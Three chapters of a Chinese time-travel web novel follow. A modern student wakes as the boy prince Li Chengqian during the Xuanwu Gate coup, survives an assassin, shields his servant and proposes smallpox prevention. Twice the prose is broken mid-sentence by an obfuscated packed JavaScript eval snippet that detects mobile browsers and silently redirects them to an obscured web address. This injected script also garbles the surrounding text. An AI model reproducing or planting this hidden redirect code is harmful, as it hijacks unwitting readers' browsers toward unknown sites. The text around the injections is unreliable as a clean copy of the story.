《[唐]太子躺平手册》 1. 狼狈初遇 他差点又要被砸一次了。 模糊的视线,混沌的意识,酸痛的手脚,但这些都不能阻拦李琛对于生的渴望。 冷风和破空声太熟悉,简直与他被高空抛物砸到时一模一样。 哪个缺德混蛋?! 骤然迸出的怒意叫他一下睁开沉重的眼皮,然而下一瞬,将将破口的大骂卡在喉咙口。 因为此刻,他的面前,一把泛着凛凛寒光的锋利长刀正以不可阻拦之势朝他的脑袋劈来。 李琛毛骨悚然。 来不及反应,求生欲叫他下意识就地翻滚,堪堪躲过那致命一击。 “咔嚓”一声,李琛心口一窒,只觉腰间惴惴发疼,似是长刀劈到了什么玉佩样的玩意。 还未等他完全理清状况,碎裂的记忆涌入,骤现的头疼让他眼前涂满大片漆黑,不过几秒,一只蒲扇般的大掌死死掐住他脖颈将他固定在原地。 “殿下!” 又一道身影扑来,趁着杀他那人注意力被转移,李琛哪还顾得上弄清眼前情况,张嘴就是狠狠一咬,配合着略显凄厉的叫声,是满口的血腥味。 那人松手了。 李琛喘着粗气双手后撑,一时没有力气起来,那一声突兀的殿下再度自脑中回响。 殿下,古代这个称呼多是皇亲国戚…… 刚刚脑子里走马灯闪过的画面居然是他的记忆吗? 直到此刻,李琛终于清醒过来。 穿越这等小说男主才有的待遇居然叫他撞上了,他不仅成了个八岁的小屁孩,更成了历史有名的唐废太子——李承乾。 他只是因为论文不过转而写些赚取流量的野史,刚收到钱,怎么报应来的那么快? 而且谁来告诉他,为什么一个皇家宗室在被人追杀,还是在长安城内朱雀大街上? 虽是晚上,可唐朝是有宵禁的啊,巡街的士卒呢? 他真的不是在做梦吗? 他虽是孤儿,可孤儿院的名字不叫起点孤儿院啊喂! 还没等他从这份混乱的记忆里理出个一二三来,一道冷笑自他头顶响起,紧随其后的是一记坠地闷声。 混杂着汗水血液的黄土震起,细细碎碎模糊了李琛的视线,但却让他的记忆愈发清晰。 那个如死狗模样瘫在他身侧的,是李承乾的贴身内侍顾十二。 顾十二的腰间露出一角,数颗暗红的宝石让李琛微微蹙眉。 他看到了一把装饰性大于实用性的匕首——这玩意是原身前日赏给顾十二的,作为他替原身隐瞒出秦王府的报酬。 李琛顺势抬眸。 就见那人俯身从一旁捡起被顾十二偷袭而遗落的长刀,动作娴熟。 李琛咽咽口水,方才那人手掌处粗糙茧子的触感似乎还萦绕在脖颈。 是个练家子。 继续往上,轮廓很熟悉,什么人会叫一个才八岁的小孩感到眼熟? 必定不止见过一次。 不太可能是宫中,他才八岁,武德后期李世民和李渊的关系谈不上好,他没有理由总在李渊面前卖痴。 一个人影在脑中浮现,是去岁从秦王府调到卫王李泰府上的一个侍卫。 秦王府出身的一个侍卫要杀李承乾?! 他是专攻隋唐史的,历史上的李世民搞谍报可是一把好手,让一个叛徒卧底混在秦王府那么长时间,虽然转手送了出去,但这完全不合理…… 思绪皆在瞬息,不等李琛彻底想明白,那人重新直起身子。 “一个小兔崽子,一个愚忠的内侍,倒是我大意了。” 说着,那人狠狠一脚踩在顾十二胸膛,嗤笑着掂掂手中长刀,目光阴冷地撇向自己受伤的虎口。叫顾十二最后的挣扎也化为无用功。 “殿……下……” 李琛只觉将死之人的潜力果然是无限的,在他二十多年的人生中从未有这一刻般冷静。 “你以为你、你为什么、会那么轻易、得手?” 他一边说着一边狼狈地朝顾十二爬去,似是因为害怕下意识寻人抱团,但李琛此刻面上却是挂上抹讥讽的笑。 从小在孤儿院摸爬滚打长大,他的演技还是相当优秀的。 那人居高临下,看着李琛稚嫩面孔上的古怪笑容,握着长刀的手不自觉松了松,甚至连脚下的力道都轻了些。 李琛垂落在身侧的右手勉强勾到顾十二的衣角,他伸出手轻轻触碰顾十二的指尖。 李琛左手捂住脖颈,忍着疼痛:“秦王府内部何其严密,秦王从头至尾没有揭穿你的身份,你却被调到卫王府。” 顾十二挣扎喘息,垂眸入目的是柄匕首。 “你怕不是成了秦王手中的一枚棋子还不可知吧?” 顾十二浑身紧绷,匕首缓缓出鞘朝李琛送去。 “你身后的人是谁?秦王何需顾虑太子齐王,想来是当今陛下。” 拿到了。 “秦王出手,如何会有错漏?” 李琛狠狠攥紧匕首,突然很庆幸此刻天光还未大亮,视线受阻才能容得下他的小动作。 “你该是最明白秦王在战场上的手段。” 那人怔愣几息,似惧似怒:“我杀你陪葬……” 就是现在! 李琛与顾十二同时反应。 顾十二朝那人身后看去惊喜出口:“大王救命!” 那人猛然回头,李琛跳起将匕首划过那人手腕,而后毫不犹豫捅入大腿。 鲜血喷溅在他脸上。 惨叫刺破耳膜,那人松开手长刀落地。顾十二猛然挣脱直起身子抱住他后朝那长刀一踹,保证那人再也拿不到凶器。 李琛整个人挂在那人腿上,双手握住匕首狠狠一扭。 那人瞬间踉跄倒地,却在最后一瞬拽住李琛的衣襟将人往旁处重重扔去。 触地并不坚硬,李琛脑子昏昏沉沉,直到身下的闷哼声响起,李琛才发觉是顾十二给他做了肉垫子。 顾十二顾不上身上的伤,半拖半抱搀着李琛后退,心惊胆战地盯着眼前那个面色惨白瘫倒在地的家伙。 街道似乎又重回寂静,只剩下在场三人粗重的喘息。 最初的混沌与惊惧过后,反胃感如影随形。 他穿越前只是再普通不过的学生,所谓的胆气与杀伐不过是求生下的挣扎,等摆脱死局,后知后觉的凉意与颤抖爬满全身。 李琛双唇哆嗦着,双手死命地抱起落地长刀,刀尖对准奄奄一息的那人。 他盯着那人微弱起伏的胸膛,盯着那人凶狠懊恼的眼神,盯着满地流淌的鲜血,忽然手一颤仓惶扔掉长刀,整个人瘫坐地上,右手撑在地面上,似乎是硌到了什么光滑的小石子,疼得慌。 突如其来的心脏疼痛让他险些面朝地砸去。 “我们走,我们走……” “殿下……” 顾十二搀扶着李琛,看着眼前原先好好一个白白净净的团子成了如今这幅模样,他心底发虚。 要不是他做了隐瞒,殿下哪会受到追杀行刺? 索性殿下无事,可那脖颈处肿胀的掐痕却叫顾十二几近崩溃。 铸下如此大错,他这个内侍的下场又该如何? 万念俱灰的顾十二,迷迷糊糊的李琛,两人谁也没有说话,所以谁也没有注意到他们走的方向并不是回秦王府的路。 等那股血腥味散去,李琛定定心神,只有强迫自己去思考原主的记忆他才能短暂地从刚从那个噩梦中脱离出来。 他这具身体确实是李承乾,可方才是怎么回事,这么大动静没有半点人来查看。 还有根据记忆,今夜他是去了卫王府探望李泰。 卫王李泰。 正是在武德年间被李渊下令给早逝的三子李玄霸过继做儿子的李泰。 李世民即位后才重新要回来的儿子,李承乾的弟弟,贞观年间储君之争中野心勃勃的李泰。 或许是李渊心中潜藏了那么一点愧疚,也或许是看在李世民战功赫赫的面子上,李渊给了不满十岁的李泰直接开府。 然而虽说殊荣,到底是早早将人和自家亲生父母分开。 李泰是小可怜,但他俩什么时候关系这么好了,宁愿冒着秦王妃这段时间无事莫要出府的命令也要偷偷摸摸来看望。 李泰过继的时候李承乾也没有几岁吧,哪里来的感情基础? 再加上今夜不见史册的刺杀,这是什么平行时空的大唐吗? 李琛停下脚步,心间剧烈的疼痛再次席卷而来甚至有愈演愈烈之势,让他浑身发颤。 远处传来隐隐约约的哭泣和痛苦低吼,有风吹过,带来的是再熟悉不过的血腥味。 李琛一个恍神,方才刀扎入肉的感触又一次弥漫双手。 那段略显不全的记忆当中,他好像忽视了一个很重要的点——为什么秦王妃会不允许他们出门,那个侍卫又是为什么突然狗急跳墙。 李琛茫然,双腿却依旧机械地走着,走过一道坊门,走过一个拐角。 “十二,今天是什么日子?” 顾十二浑浑噩噩:“今日是六月初四,是武德九年。” 如一道惊雷破开漆黑天幕,炸得李琛浑身上下血液凝固。 难怪没有巡街的士卒,难怪秦王妃不在府中没有及时发现偷溜出去的李承乾,难怪那个侍卫敢大着胆子向李承乾下手。 却原来今日宫内正在发生那场大名鼎鼎的政变——玄武门之变。 眼前骤然开阔。 晨光熹微,日出了。 不远处的城墙之上,那是一个气势慑人的男人。 李琛在这一刻仿佛什么都瞧不见了,眼中只有那个表情淡漠甲胄上染血的男人。 男人身后同样是盔甲覆身的女子,二人贴得很近似乎在说些什么。 男人的左手边是一个五大三粗的汉子,他手中马槊大喇喇串着两颗人头,顺着粗壮男人的动作一碰一撞,满面脏污的头颅唯有两双惊惧不甘的眼眸死死咬着他。 然后,第三双眼眸落到了他的身上。 似有烈焰在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363013|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中燃烧跃动,将李琛的全部心神吸引。 隔着微微泛红的朝霞,隔着血腥混杂着泥土的空气,隔着或是呆坐或是哭泣或是被控制的东宫士卒,隔着千年时光的跨度,李琛就是能清晰感觉出来,那是名为野心的欲/火,亦是名为悲悯的宽仁。 配合着当下难忍的血腥气,两相结合显得异常诡异。 这场景未免太刺激了些。 心脏疯狂跳动起来,熟悉的痛感,还夹杂着浓郁的悔恨之情。 原身残留的吗? 可不过八岁的李承乾又是哪来的这种情绪? 李琛面色愈发惨白,额角汗水涔涔,呼吸粗重。 突如其来的痛苦压抑狠狠冲击李琛的心脏,叫本就腿软的李琛狼狈跪地。 感受着越发昏沉的脑袋,李琛懊恼不已——他一点都不想在这种情况下昏迷过去。 那个气势迫人的男人,除却如今他这具身体实际上的老爹李世民还能是谁。 和未来顶头上司的第一次会面……太糟糕了。 李琛还想挣扎一二,但疼痛是不讲道理的,也或许是见到李世民证明他已经安全,先前支撑着逃命的一口心气散去。 李琛忽然疲倦地闭上双眸,随便吧,反正都在谷底了怎么走都是向上。 李琛撑着最后一口气拉着不知何时泪流满面的顾十二:“我醒之前你什么都不要说,就称是我的吩咐。” 他要试着保顾十二。 认理一切都是原身骄纵非要顾十二隐瞒的错,但这又不是现代,他暂且拿不准十二的未来,更不要说他确实因此差点死了。 顾十二怔怔的。 李琛动动身子,挑着角度朝地上躺去。 他还想挣扎一下,躺得好看给未来老爹留个好印象,这是他最后的倔强。 城墙上,尉迟敬德目瞪口呆。 方才还站在他身边的李世民此刻已然不见身影,正火急火燎朝下处赶。 尉迟敬德叹气,捅捅一旁秦琼的胳膊:“人瞧着像小殿下。” “小殿下这是被大王的气势给吓晕过去了?” 秦琼摸摸下巴,嫌弃地看着尉迟敬德手中的人头:“分明是你这大黑脸更吓人吧?” 尉迟敬德目光往下,轻咳一声,面色不改将人头朝后放放。 秦琼好笑,突兀觉得有哪里不对压低嗓音:“小殿下怎么会在这里?” 尉迟敬德一脸你才发现的表情:“也不知是发生了什么。” 城墙下,李世民顾不上自己染血的甲胄与长孙如堇一起冲李琛奔去。 李琛视线逐渐模糊,看着李世民朝他而来,似乎有什么他看不清的画面飞速闪过。 香炉上白雾缭绕,大殿中气氛沉闷。 一个内侍跪在殿下,声音颤抖不敢去看坐在上首的男人:“陛下,黔州急报,那位、那位去了。” 翻阅公文的男人手中动作微顿,好半晌才挥手让人退下。 男人恍惚,盯着窗外连绵的雨丝发愣,半晌,才似是哽咽又似是藏了连他自己都意识不到的解脱叹息:“终于……不用再为你操心了。” 谁在哭? *** 谁在哭? 李琛记不得自己看到了什么,只觉得眼角处湿湿的。 尖锐的酸涩与疼痛渐渐褪去,随之而来的是虚无的空荡。 他好似落入了一个冰冷坚硬的怀抱,让他不舒服,但搂着他肩背的那双手却又是那般温暖叫人沉迷,蛊惑着叫他放下戒备。 李琛放缓呼吸,似乎迷迷茫茫二十多年的人生头回让他在一个陌生人身上体会到了什么叫做父亲。 李琛再也撑不住。 又是原身残留的情绪,他这么跟自己嘴硬。可右手却实诚地悄悄攥上李世民冷硬的甲胄,随后他彻底陷入黑暗。 李世民将人抱入怀中,一眼就注意到了李琛脖子上的可怖掐痕和衣物面庞上的大片血迹。 “观音婢……” 长孙如堇眼眶泛红。 李世民深吸口气,拉高李琛的衣襟遮挡伤处。他有自信秦王府没有消息传来必定是没出大差子的,可他儿如今这幅模样…… 李世民抱着李琛的手紧了紧,声音艰涩:“幸我儿劫后余生,至于顾十二……暂且扣下押着,一切待我儿苏醒再言。” 李世民并没有看顾十二,他怕压不住自己的怒火失言。 顾十二呆呆愣愣,没想到还没来得及开口争取就听到这个堪称“温和”的下令。 只未来如何顾十二犹是惶惶,一时不知道自己刚才侥幸活下来究竟是福是祸。 顾十二颓丧,明日是他阿耶来长安城内探望他的日子,看来又要让阿耶担心了。 李世民没犹豫太久,他先是看看李琛腰上的玉佩,见还挂着松了口气,而后他不舍地将李琛交给同样自责的长孙如堇。 大局初定,他还得回宫中主持局面。 只是谁也没有发现,李琛腰间挂着的一枚缺了一角的白玉莲佩闪过一道红色暗芒。 2. 对峙保人 李琛盯着眼前那个能把牛顿气得从棺材里爬出来的,漂浮在半空中还不断闪烁着红光的白玉莲佩,心情相当糟糕。 他清楚记得自己是昏迷过去了,所以为什么一睁眼瞧见的不是什么金碧辉煌的古代建筑,而是白茫茫的小空间? 尤其是那个玉佩,样式简直跟他现代贴身携带的那一块一模一样,唯一的不同就是眼前这块缺了一角。 说起这枚玉佩,其实也没什么来头。 他从小就是孤儿,刚出生没多久就被扔到了福利院门前,根据院长的回忆,那玉佩就是一并塞到了襁褓里,院长将他捡回来的时候,他还傻呵呵含着那玉佩玩。 所以李琛从小就觉得自己将来必定不凡,君不见贾宝玉出生不也含了块奇玉吗? 事实证明,他年幼时中二病发作夸下的海口果然灵验了。 李琛敢肯定,他倒八辈子血霉穿越到这处处不便的古代,罪魁祸首一定是这枚玉佩。 果真是人在说天在看,否则穿谁不好,偏偏穿到了一手好牌打得稀烂的李承乾身上? 李琛很忧心,李琛很无奈,李琛很……李琛很震惊。 李琛觉得自己眼花了,否则他怎么会亲眼见证那枚玉佩一个变幻变成他在现代时候的手机呢? 这相当不科学,哦,都穿越了,还要什么科学。 李琛憋着那股子吐槽的欲望一点一点靠近手机,然后一把握住。 嗯,这屏幕上熟悉又富有美感的划痕——那是他为了省钱懒得修留下的,果然是他的手机。 虽然不知道究竟是怎么一回事,但李琛还是顺着心意打开手机。 时间,大唐武德九年六月初五,好嘛,他穿越了,这手机时间也跟着穿越了,很合理。 李琛面无表情。 然后是消失的一干二净的应用,其实不是很准确,至少还有一个软件,李琛凝视着那个蓝白相间的玩意,不由自主念出了下头的四个字:“凤的土地?” 李琛满头雾水点开,然后他震惊地发现,这玩意就是个网文论坛,里头有读者的吐槽,作者的碎碎念,还有一个挂了热的一看标题就知道是在吵架的帖子。 穿越必备的金手指? 所以他穿越要一个破论坛有什么用啊! 帮他在贫瘠的古代丰富丰富精神世界吗? “叮”得一声能让他从此开挂走上人生巅峰的傻白甜系统呢? 欺负他没看过网文吗! 李琛叹气,盯着手机半晌,等反应过后时才发现自己已不知何时注册了个账号——“我真是大唐太子殿下”。 可惜注册完还没来得及刷帖子,盯着名字,回过神来的李琛按灭屏幕。 黑屏上是一张稚气又陌生的脸。 苦中作乐在看到这张脸时转瞬消失不见。 好不容易反杀活下来,就打算玩手机刷论坛麻痹自己吗? 李琛长舒一口气,随手放下手机,双掌捂住面容,所有的害怕惶惑在瞬间坍塌泄洪。 泪水止不住从指缝间渗出。 从今天开始,世间再无李琛。 无奈亦或是认命,可天意如此,他又能如何呢。 索性在现代没有太多牵挂,他很怕死,他想要安生活下去,而第一步要做的就是抛弃旧的身份。 他是李承乾,唯独不能再叫李琛。 *** “是我的疏忽,听闻承乾谎言称病……若是我能再细心些,决计不至于叫承乾陷入那等危险的境地。” 是一道很温柔的嗓音,其中的自责之意让尚且闭着眸子昏昏沉沉的李承乾心头一涩。 “哪能怪观音婢?” “偏偏是在这几日宫中局势一触即发,承乾的奶娘也恰好于半月前出宫奔丧,观音婢则与我一同上了玄武门难免会顾不上府中的事宜。” “何况那人我本是留着应付陛下等事后再解决的,谁知险些酿成大错,我亦有责。” “那人找到的时候只剩一口气了,问他说是得到消息后已然晚了,明白自己跑不掉,意外撞见承乾想以命换命。” “二郎,那这人现在……” “我亲手杀了他,承乾才那么小,不应该背负一条人命。” 是一道清凌的男声,让他不由自主心生亲切,李承乾想要努力睁开双眼。 “那个十二还是不肯开口吗?” “嗯,说什么都要等承乾醒过来,说是承乾的吩咐。” “身为承乾身边人却无半点劝导之意反倒是纵着承乾有错,可承乾最是胡闹,这两个混小子……” “二郎怎的又在说气话了?十二如此作为摆明了是承乾自己要保的。” 李承乾听到劝导之意这个四个字的时候已然急上心头,根本听不进去后头那二人又说了什么,他死死憋着一股气,猛地睁开双眸。 “不可!” 嗓音沙哑,干枯难忍,好似多日未见水的枯井,李承乾总算知道为什么电视剧里昏迷醒来之人的第一句话往往都是水了。 “承乾!” 男女声重叠,李承乾只觉得自己倏忽间落入了个宽大温厚的怀抱,叫他的眼角不由自主渗出了泪水,尽管他自己也搞不明白自己在哭什么。 李承乾眨眨眼,可能是脖颈处疼得吧。 “快,将那个十二带上来。” 李承乾一个激灵,赶忙从李世民的怀中退出,他急切摇头,顾不上难受:“跟十二没关系,是我强逼他的,要论错处,分明都在我身上才对。” 李世民眉心微蹙,一边拿过手边水杯给李承乾润喉一边不着痕迹地与长孙如堇对视,他这个儿子什么时候有这般揽责悲悯之心了? 见李世民不说话,也不知道是独属于现代人的无畏亦或是缘于身份的底气,李承乾居然有胆子再度开口:“十二救了我,光光这一点便能将功抵过。” 奇怪,总觉得醒来后的李承乾与自己疏远了不少。 李世民不动声色地打量着李承乾,他微眯眸子,声色冷沉:“将功抵过?可若不是他,你也不至于受此大罪,又何来功过相抵?” “十二犯下此等大错,若是不罚又何以服人,何以御下?” 坐在李世民一旁的长孙如堇微微挑眉,似乎是明白了什么,并没有着急开口。 说话间,身上缠着麻绳的顾十二已然被押了上来,虽然看着狼狈,但并没有受什么皮肉之苦。 李承乾下意识松了口气,脑子飞速转着:“罚自然要罚,但不可过重,因为我不愿做齐王李元吉。” 李世民与长孙如堇同时一怔。 顾十二懵懂抬眸,偷偷摸摸朝李承乾看去,他总觉得他伺候的这个小主子好像一夜之间长大了。 李承乾如今被大唐两个最有权势的人盯着难免有些心慌,他右手攥紧被褥:“当初齐王在晋阳为非作歹以致最后弃城逃跑,陛下大发雷霆迁怒齐王身边人,可世人谁不知这不过是替齐王遮掩?” “齐王为人纨绔骄纵,我既为秦王之子,又怎可与齐王同流合污,以致叫外人看了我们父子……” 李承乾顿了顿,自言父子难免显得生分。 人在屋檐下,不就是认个爸爸吗? 他可以,认爷爷都行。 “看了阿耶与儿的不是,儿自是不愿见到那等场面。” “若是因儿连累阿耶名声,儿才是万死难辞。” 李世民沉默不语。 话是好听,只是李承乾潜藏的疏离亦是明显。 想着以往他因为战事朝政而无暇多看顾承乾几分,李世民俯身平视李承乾。 “往后我会多陪陪你的。” “你的课业我也会亲自来看的。” 李承乾眨眨眼,没搞明白李世民跳跃的思绪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363014|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不是,阿、阿耶,儿当时只是因为好不容易逃了出来太过劳累才会昏迷,同阿耶真的没有半分干系。” 长孙如堇轻叹口气,没想到到了这个时候李承乾还在如此说话,倒是叫人欣慰,生死关头走一遭,好似真的瞬间成长了许多。 李世民也是这般的想法,他上手揉揉李承乾的脑袋:“我知晓的。” 话是这么说,但眼神愈发柔和。 李承乾:? 他只有原主的大体记忆啊,根本不敢保证自己的字迹会不会穿帮。而更重要的是,他是穿越回了八岁,不是倒霉催的高三十八岁。 要是功课什么的多由李世民查看,想想自己这个现代人和真古代人做文章的差距,李承乾心如死灰。 还是让他去写论文吧,再卡他个多少遍都没关系的啊! “我儿倒是长大了,但十二此人寡人心意已决。” 寡人。 李承乾内心戏演到一半心神一颤,下意识咀嚼着李世民这更改的自称。 感受着李世民身上释放出来的气场,他终于意识到眼前这个男人不仅仅是他身份上的老爹,更是古代封建社会掌握生杀予夺的秦王,如今距离皇位不过一步之遥的天策上将。 李承乾的心莫名在这一刻酸涩起来。 又是这种莫名其妙的情绪。 李承乾咬牙,也不知道哪来的勇气,他居然直直对上李世民平静无波的视线:“可若儿就要保他呢?” 顾十二好歹也算与他同生共死一场,更不用说他需要一个了解原身的人替他打掩护。 世上无难事只要肯硬来,从小到大李承乾一直坚信这个理念。 李世民忽而微勾唇角,轻啧一声语气随意:“事由在你,你该明白是你牵连了十二。” “你该罚,十二却也该罚,不冲突。” 长孙如堇闻言垂眸,藏住了那一闪而过的笑意,真是…… 李承乾瞪大双眸,脑子跟着身体回到了八岁:“儿不管,若是要杀十二,儿这身子只怕是又不好了。” “儿的身子受不得刺激。” 话落,李承乾往床上一躺,活脱脱一副无赖样,黑眸里头水雾弥漫,要多可怜有多可怜。 硬来不行就服软,反正他八岁,不要脸也没有脸。 李世民的笑容僵在唇角。 少见的能看到李世民这幅模样,长孙如堇低头忍笑。 就在父子俩大眼瞪小眼之际,内侍通报的声音响起,打破一室寂静。 “禀大王,外头一老翁求见,手中有小殿下的牌子凭证,自言是顾十二之父,请求一见顾十二。” 顾十二浑身一颤,没想到一年前小殿下赐下的荣耀如今倒派上用场,他沉默地朝门口望去。 李承乾当机立断:“阿耶总不会让人家父子相见也不愿吧?” 李世民盯着李承乾气鼓鼓的双颊,听着他赌气的话语,终是演不下去,摇头好笑,伸手捞过自家儿子语气却是万分严肃:“承乾,你又是为什么替十二求情?” “仅仅是因为他救了你吗?” 长孙如堇笑笑轻声对着一旁的内侍道:“将十二的阿耶请进来吧。” 李承乾一愣,撞上的就是一双沉稳又温柔的眼眸,眸中有严肃有欣慰甚至还有潜藏的笑意,唯独没有的是杀意。 那方才李世民的咄咄逼人是为什么,他真的想杀顾十二吗? 还是说他想看明白自己的态度? 李承乾心里乱哄哄的,沉默着扒上李世民的肩头向外望去。 那是一个看着老实巴交的老翁,亦是一个面上处处是麻子的老翁。 看疤痕,没有几天。 等等,麻子? 李承乾愣在当场。 而一直温顺听着自己命运的顾十二也终于在此刻短促一叫,声音尖细又怪异,听着叫人难受极了。 3. 天花牛痘 李世民使了个眼色,士卒内侍宫女皆是退至殿外。 皇家私事,不好留外人在场。 顾十二的阿耶顾大山泪眼婆娑,颤着双手想要替十二解开绳子,可他很快清醒过来,“噗通”一声直直跪在李世民面前。 这是顾大山见过最心善最讲理的主上,他不知道自己儿子犯了什么错,但他别无他法,他只能求一求李世民。 “承乾,你的回答是什么?” 李世民暂时没有回复顾大山的恳求,却也不会坐视一个老翁久跪。 所以他只是起身,在李承乾惊诧的视线下将顾大山扶起坐好,就好似是做了再寻常不过的一桩事般。 李承乾如梦初醒:“我、儿只是觉得,身居高位得万民供养,受了权便要担责。” “十二一则救了儿,为人怎可恩将仇报?” “二则,阿耶当了这么多年的一军元帅应该最清楚,好坏皆系一身,下面的人何种行为尽要元帅一力承担。” “儿自小倾慕阿耶英勇。” “阿耶从不避讳浅水原之败,从不推诿失利之名。连昨日也不要再现成济,儿又怎会做那样一个自私自利的小人?” 听到这李世民朝长孙如堇眨眨眼:这些都是你告诉承乾的? 长孙如堇隐秘贴近李世民,温热的呼吸弥漫在二人之间:“是啊,告诉孩子们你们的阿耶是个保家卫国的大英雄。” 李世民眸底尽是夸耀与春色,但面上依旧一副八风不动的稳重样。 李承乾没留意自己父母的眉眼官司,只是兀自沉思。 浅水原之败,武德年间李世民因病的唯一一场败仗。 成济,当街刺杀魏帝曹髦,却被司马昭反手推出去斩杀平民愤。 李承乾自认毛病不少,可这却是半截真话,他做不到冷漠推人送死。 李承乾深吸口气,大着胆子攥上李世民温热的小指一字一句道:“受国之垢,是谓社稷主;受国不祥,是为天下王。” “生死边缘走一遭,阿耶,儿不愿再如往前一般。” 他不可能一辈子演戏,如此将来等他性格与原主产生些许不同时也算有了解释。 李世民如何听不出李承乾话里的诚恳,他的心忽而松快许多。 他一直以来都欢喜于李承乾聪慧的性子,却也忧心于他身上再寻常不过的贵族脾性。 连担责体恤都做不到,又如何去怜悯千里之外的百姓? 所以在前些年知晓李承乾关怀被过继过去的李泰时,李世民其实是欣慰的。 但在一旁看着,他却发现李承乾也不过是在李泰跟前格外心善。 那个时候李世民在想,等他破了局彻底除去笼在他们秦王府笼在整个大唐头上的阴霾时,他就能好好抽出时间手把手教导李承乾。 可没想到李承乾自己想明白了为人主最重要的是什么——那便是担当。 生死一瞬倒真是催人成长。 李世民从思绪中回神,他一面听着李承乾郑重的话语,一面从身旁的矮桌上头那一沓奏表公文中抽出一册看向已经懵到不行的顾大山父子:“十二,你阿耶是出身泾阳县太安村吗?” “裴寂十日前的奏表,绕过了我尚书省直递陛下,言称似有豌豆疮出现,可恨陛下只当作瞧不见。” “好在底下人聪慧及时控制,病情困在一村之内。” “虽说这病从来无法根治,可我也本是打算派些医工去看看详细情况的。” 说着李世民虚空点点顾大山面上新鲜的麻子:“不曾想有你这个得病熬过去的人来我这一趟,与我说说太安村的现状吧。” 李承乾眉心一跳,这个名字和顾大山脸上的后遗症…… 富贵险中求。 纠结不过瞬息,他郑重开口:“阿耶,儿或许有法子叫十二功过相抵,只求阿耶不再计较十二错事。” 李承乾不是原主,他必须得找一个真心忠于他的人替他打掩护。 虽然看样子李世民确实没想迁怒顾十二,但他还是得切切实实叫顾十二以功抵罪,不能叫顾十二时刻惶恐,也不能叫其他人不服气。 毕竟说一千遍一万遍,他差点死了,这是事实。 “阿耶,那天、豌豆疮,儿可能有法子预防,叫人不会再得。” 尽管此刻李承乾的用词极为谨慎,可简简单单的一句话依旧如天边一道闷雷,彻底炸在在场所有人心头。 顾大山一时半会居然也顾不上顾十二了,他难以置信:“预防?” 顾十二目瞪口呆,几乎以为小殿下是为了保自己开始胡言乱语了。 李世民瞳孔一缩,长孙如堇深吸口气轻轻握住李世民搭在膝上的手,只觉不愧是十指连心,她居然觉得自己能感受到此刻李世民的心跳怦怦。 “不可妄言。” 李世民沉默片刻,终是吐出了这四个字。 李承乾肯定摇头,顾大山那脸上的麻子是什么他再清楚不过,他曾因为一些原因仔细研究过天花大半个月,也翻过相关照片,那分明就是天花所残留的后遗症。 而豌豆疮,也正是隋唐之时对天花的称谓。 李承乾没有第一时间回答李世民的话反而是看向顾大山:“顾大山,你走之前可曾看到过病怏怏乳上沾染痘疮样的病牛?” 他其实并没有抱希望,毕竟他知道人得天花跟牛是否得天花是两码事。 顾大山一愣,却是犹豫开口:“这,草民记得倒是有好些。” “说来也巧,先是村正家的一头牛不知吃了什么,病怏怏好几日,没想到这病跟会传染似的,好几头牛都染了病。” “后来大家才发现这牛身上全是密密麻麻的痘疮,骇人非常。” “偏偏那日后村中忽然发了疫病,大家私底下都说可能跟这些牛有关系,可大家也不敢宰杀,干脆将全村的牛一股脑放在离人远的空地不去管它们,又后来疫病来得凶,也就没人在意了。” 李承乾努力控制住自己惊诧的表情,他想不通,只能归于是自己有所谓的“穿越期新手保护”是自己运气好。 可不论如何,这意外之喜至少是比他最开始预想的人痘一说安全太多。 李承乾思索着,忽觉腰间处似乎有什么东西膈得慌,又有些隐约的热感,可还未等他查看,李世民的询问已然响起。 “所以?” 李承乾回神:“儿并非妄言,儿曾经多次偷溜出府。呃,曾遇到过那位鼎鼎有名的孙思邈,他与儿有缘,曾与儿讲过他最新琢磨的法子,只是可惜还没有来得及尝试。” “儿也是情急之下才想到这些的。” “孙思邈?” 李世民狐疑地看向顾十二,倒不是不信孙思邈,是不信自己的儿子。 顾十二怔了怔,小殿下确有几次没带上他偷溜出府,可那不都是去玩的吗?小殿下什么时候对医术感兴趣了…… 耳边传来李承乾轻微的咳嗽声,顾十二努力让自己的声音平稳下来:“是,奴确实见过小殿下与孙公相谈。” 呼,李承乾骤然松了口气,内心默默对孙思邈说着抱歉。 没办法,谁能相信一个八岁的孩子。 还不如搬出孙思邈的名头,反正这人现在应该还是在游历天下行医,多次拒绝皇家邀请,只要隐瞒得当,目前是不会有人来拆穿他这个胆大包天的家伙的。 至于未来如何……李承乾拿出十二分的摆烂心态,未来再说吧。 “讲讲具体法子?” 得了顾十二的肯定,李世民依旧心有疑虑。 他知承乾早慧,可死生大事,不能出一分一毫的差错。 宫里有个太医倒是孙思邈的弟子,可惜早早入宫跟孙思邈也有好些年没有联系了,不然的话还能问问此人。 “最初是孙公提出的一个想法,人痘。” “豌豆疮之所以害人性命,不就是源于其内的毒性吗?” “而若是份量少到不足以致命呢?” 李世民指尖微颤,李承乾这话倒是叫他想起来武德八年的那一场东宫毒酒宴,若不是李建成寡断剂量放小,他或许真的有可能一倒不醒。 “人痘便是这样的缘由,灭去毒性最终叫那豌豆疮到不了害人性命的一步。” “孙公曾言,早在数年前他便听过类似法子。” “由第一代人生豌豆疮而发出的痘痂,将其磨成粉,称之为时苗。” 李承乾一面回忆着一面庆幸自己曾经因为较真种人痘到底最早是不是出自孙思邈的《千金要方》而整整翻阅了三天相关资料文献,若不然他还不是知道的那么清楚详细。 “但时苗的毒性往往极大,不是人人都能挺过这第一步的。” 